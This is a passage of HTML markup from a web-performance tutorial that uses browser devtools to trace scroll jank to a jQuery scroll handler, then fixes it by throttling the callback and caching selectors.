0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Issue detected: Scroll event script&lt;/h3&gt; &lt;p&gt;After all this analysis using the devtools we hence come to the conclusion that it&apos;s the script executing for every scroll event that is the cause of issue here. Next step in our debug process is finding &lt;em&gt;WHY&lt;/em&gt; it is causing it.&lt;/p&gt; &lt;h2 id=&quot;why-is-it-causing-an-issue&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-is-it-causing-an-issue&quot; aria-label=&quot;why is it causing an issue permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WHY is it causing an issue?&lt;/h2&gt; &lt;h3 id=&quot;lets-investigate-the-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lets-investigate-the-code&quot; aria-label=&quot;lets investigate the code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Let&apos;s investigate the code&lt;/h3&gt; &lt;p&gt;Our code for the callback bound to the Scroll event is as follows:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scroll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; currentScroll &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scrollTop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Set the position to current slide if the user scrolls manually.&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;checkpoint&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currentScroll &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; currentScroll &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currentScroll &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#main_form, .social-icons&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;visible&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#scrollDown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#autoscroll&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#main_form, .social-icons&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#scrollDown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#autoscroll&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currentScroll &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#scrollUp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#scrollUp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This callback function will be our target from now on.&lt;/p&gt; &lt;h3 id=&quot;scroll-event-is-too-frequent-to-handle-scripts-taking-time&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#scroll-event-is-too-frequent-to-handle-scripts-taking-time&quot; aria-label=&quot;scroll event is too frequent to handle scripts taking time permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Scroll event is too frequent to handle scripts taking time&lt;/h3&gt; &lt;p&gt;First thing that striked me was that the Scroll event is fired too frequently. Every time you scroll on a page, that event is fired multiple times within seconds. Therefore any code that is attached to the Scroll event will be fired with the same frequency. And if that code is computation heavy, we are done!&lt;/p&gt; &lt;h2 id=&quot;fix&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fix&quot; aria-label=&quot;fix permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FIX&lt;/h2&gt; &lt;p&gt;To improve the situation here, we have 2 ways:&lt;/p&gt; &lt;p&gt;A. Make the Scroll event fire less frequently B. Optimize the callback&apos;s code to take less execution time&lt;/p&gt; &lt;h3 id=&quot;fix-a-make-the-scroll-event-fire-less-frequently&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fix-a-make-the-scroll-event-fire-less-frequently&quot; aria-label=&quot;fix a make the scroll event fire less frequently permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FIX A. Make the Scroll event fire less frequently&lt;/h3&gt; &lt;p&gt;I could make the Scroll code fire less frequently in our case as it did not had any usability hit. In fact mostly the code thats required to be executed on Scroll event can be run on little longer intervals without any user experience loss.&lt;/p&gt; &lt;p&gt;This thing was easy to do. &lt;a href=&quot;http://benalman.com/&quot;&gt;Ben Alman&lt;/a&gt; has an &lt;a href=&quot;http://benalman.com/projects/jquery-throttle-debounce-plugin/&quot;&gt;awesome jQuery plugin&lt;/a&gt; written for throttling/debouncing functions. Its very easy to use too. Simply get the plugin into your page and pass the throttled function to Scroll event like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;callback&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scroll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;throttle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;350&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; callback&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;As you see in above code, I have made my callback to fire atmost once within &lt;em&gt;350 ms&lt;/em&gt;. In other words, there will be atleast an interval of &lt;em&gt;350 ms&lt;/em&gt; between 2 calls to that function. This should probably keep those adjacent long yellow bar at some distant from each. We&apos;ll see.&lt;/p&gt; &lt;h3 id=&quot;test&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#test&quot; aria-label=&quot;test permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;TEST!&lt;/h3&gt; &lt;p&gt;We made a small change from our side. But remember, there is no point of it without actually testing the page and getting a performance boost. So lets repeat the profiling procedure again.&lt;/p&gt; &lt;p&gt;Here is what we got this time:&lt;/p&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools-iter1-a.png&quot; alt=&quot;Result&quot;&gt; &lt;/div&gt; &lt;p&gt;Seems to have worked quite a bit! We have lesser frames overshooting the 16ms budget.&lt;/p&gt; &lt;h3 id=&quot;fix-b-optimize-the-callbacks-code-to-take-less-execution-time&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fix-b-optimize-the-callbacks-code-to-take-less-execution-time&quot; aria-label=&quot;fix b optimize the callbacks code to take less execution time permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;FIX B. Optimize the callback&apos;s code to take less execution time&lt;/h3&gt; &lt;p&gt;Secondly, its also important to optimize the code inside that callback at that is what is causing the frames to go beyond our 16ms budget.&lt;/p&gt; &lt;p&gt;If you look closely inside the callback&apos;s code and have a basic understanding of what not do while jQuery, you&apos;ll see some horrible things happening there. I&apos;ll not go in much details on why those things are bad as our focus is on using devtools in this article. Lets list out what all jQuery menace we see in it:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Cache jQuery objects&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;At many places, jQuery is being used to reference element by passing their selectors again and again in the callback. That is BAD. Unless these references will change in future, its wise to calculate them once and cache for future use.&lt;/p&gt; &lt;p&gt;Some of the lines where jQuery is being used unnecessarily: &lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; currentScroll &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scrollTop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// this is always window object&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#main_form, .social-icons&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;visible&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#scrollDown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#autoscroll&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a#scrollUp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token 